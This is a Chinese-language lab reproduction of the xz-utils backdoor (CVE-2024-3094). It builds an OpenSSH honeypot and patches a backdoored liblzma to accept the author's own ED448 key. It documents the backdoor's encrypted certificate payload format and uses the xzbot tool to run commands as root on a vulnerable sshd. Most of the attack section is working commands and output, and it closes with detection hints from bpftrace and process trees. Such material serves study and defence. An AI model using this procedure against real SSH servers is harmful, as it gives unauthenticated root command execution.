xz-utils后门漏洞 CVE-2024-3094 复现

1. 事件背景

3 月 29 日，微软 PostgreSQL 开发人员 Andres Freund 在 oss-security 上公告他发现开源项目 xz-utils 存在后门漏洞。该项目遭到供应链攻击，项目维护者 jiaT75（jia Tan）通过上传二进制测试文件和篡改编译脚本，使得编译过程中恶意二进制文件会替换原有文件，导致编译输出与公开的源码不匹配。

这个漏洞允许攻击者通过 systemd 服务干扰 sshd，从而远程获取系统访问权限。它主要影响 Linux 发行版的测试版本，包括 Fedora、openSUSE 和 Debian 等。CVE 评分为 10/10。受影响的 XZ Utils 版本从 5.6.0 开始，建议用户立即停用或降级到安全版本，如 5.4.6。

2. 攻击过程

1）. 蜜罐搭建

详情见openssh.patch，这是一个简单的补丁，用于记录任何使用与后门格式匹配的公钥尝试连接的情况。

Copy
$ git clone https://github.com/amlweems/xzbot.git
$ git clone https://github.com/openssh/openssh-portable
$ patch xzbot/openssh.patch
$ autoreconf
$ ./configure
$ make

2）.ED448 补丁

后门使用一个硬编码的 ED448 公钥进行签名验证和解密负载。如果我们用自己的密钥替换这个密钥，就可以触发后门。
攻击者的 ED448 密钥:

Copy
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00

用我们自己的密钥替换这个密钥（用 seed=0 生成）：

Copy
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00

首先，我们需要下载一个带后门的 libxzma 共享对象，例如从 https://snapshot.debian.org/package/xz-utils/5.6.1-1 下载。然后运行补丁脚本。参见 assets/ 目录中的示例。

Copy
$ pip install pwntools
$ shasum -a 256 liblzma.so.5.6.1
605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4 liblzma.so.5.6.1
$ python3 patch.py liblzma.so.5.6.1
Patching func at offset: 0x24470
Generated patched so: liblzma.so.5.6.1.patch

然后使用这个修改后的liblzma.so.5.6.1.patch共享对象运行 sshd。

3）. 后门格式

通过使用带有有效负载的 CA 签名密钥的 SSH 证书连接，可以触发后门。这个有效负载必须使用攻击者的 ED448 密钥进行加密和签名。该结构具有以下格式:

Copy
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| cmd1 (32 bit) | cmd2 (32 bit) | cmd3 (64 bit) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ ciphertext (240 bytes) +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

命令 byte 是从上面三个值中派生的（cmd1 * cmd2 + cmd3）。如果这个值大于 3，后门会跳过处理。
密文使用 chacha20 算法使用 ED448 公钥的前 32 字节作为对称密钥进行加密。因此，我们可以使用以下密钥解密任何攻击尝试：

Copy
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48

密文的格式如下：

Copy
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| signature (114 bytes) | command \x00 | padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

签名是在以下值的基础上计算的 RFC-8032 ED448 签名：

Copy
头部的前 4 字节（即 cmd1）
命令的前 5 字节
服务器主机密钥的 sha256 哈希的前 32 字节

4). 攻击演示

Copy
$ go install github.com/amlweems/xzbot@latest

Copy
$ xzbot -h
Usage of xzbot:
-addr string
ssh server address (default "127.0.0.1:2222")
-seed string
ed448 seed, must match xz backdoor key (default "0")
-cmd string
command to run via system() (default "id > /tmp/.xz")

以下命令将连接到一个存在漏洞的 SSH 服务器，地址为 127.0.0.1:2222，并运行命令 id > /tmp/.xz：

Copy
$ xzbot -addr 127.0.0.1:2222 -cmd 'id > /tmp/.xz'
00000000 00 00 00 1c 73 73 68 2d 72 73 61 2d 63 65 72 74 |....ssh-rsa-cert|
00000010 2d 76 30 31 40 6f 70 65 6e 73 73 68 2e 63 6f 6d |-v01@openssh.com|
00000020 00 00 00 00 00 00 00 03 01 00 01 00 00 01 01 01 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000160 00 00 01 14 00 00 00 07 73 73 68 2d 72 73 61 00 |........ssh-rsa.|
00000170 00 00 01 01 00 00 01 00 02 00 00 00 01 00 00 00 |................|
00000180 00 00 00 00 00 00 00 00 54 97 bc c5 ef 93 e4 24 |........T......$|
00000190 cf b1 57 57 59 85 52 fd 41 2a a5 54 9e aa c6 52 |..WWY.R.A*.T...R|
000001a0 58 64 a4 17 45 8a af 76 ce d2 e3 0b 7c bb 1f 29 |Xd..E..v....|..)|
000001b0 2b f0 38 45 3f 5e 00 f1 b0 00 15 84 e7 bc 10 1f |+.8E?^..........|
000001c0 0f 5f 50 36 07 9f bd 07 05 77 5c 74 84 69 c9 7a |._P6.....w\t.i.z|
000001d0 28 6b e8 16 aa 99 34 bf 9d c4 c4 5c b8 fd 4a 3c |(k....4....\..J<|
000001e0 d8 2b 39 32 06 d9 4f a4 3a 00 d0 0b 0f a2 21 c0 |.+92..O.:.....!.|
000001f0 86 c3 c9 e2 e6 17 b4 a6 54 ba c3 a1 4c 40 91 be |........T...L@..|
00000200 91 9a 2b f8 0b 18 61 1c 5e e1 e0 5b e8 00 00 00 |..+...a.^..[....|
00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000270 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 07 |................|
00000280 73 73 68 2d 72 73 61 00 00 00 01 00 |ssh-rsa.....|
2024/03/30 00:00:00 ssh: handshake failed: EOF

在受漏洞影响的服务器上，我们可以设置一个监视点以监视对 system () 的调用，并观察命令是否被执行：

Copy
$ bpftrace -e 'watchpoint:0x07FFFF74B1995:8:x {
printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))))
}'
Attaching 1 probe...
sshd (1234): id > /tmp/.xz

$ cat /tmp/.xz
uid=0(root) gid=0(root) groups=0(root)

被攻击后的进程树与正常的 sshd 进程树看起来有所不同：

Copy
# normal process tree
$ ssh foo@bar
$ ps -ef --forest
root 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 1026 765 7 18:51 ? 00:00:00 \_ sshd: foo [priv]
foo 1050 1026 0 18:51 ? 00:00:00 \_ sshd: foo@pts/1
foo 1051 1050 0 18:51 pts/1 00:00:00 \_ -bash

# backdoor process tree
$ xzbot -cmd 'sleep 60'
$ ps -ef --forest
root 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 941 765 4 18:04 ? 00:00:00 \_ sshd: root [priv]
sshd 942 941 0 18:04 ? 00:00:00 \_ sshd: root [net]
root 943 941 0 18:04 ? 00:00:00 \_ sh -c sleep 60
root 944 943 0 18:04 ? 00:00:00 \_ sleep 60

注意：成功利用漏洞不会生成任何 INFO 或更高级别的日志条目。

3. 引用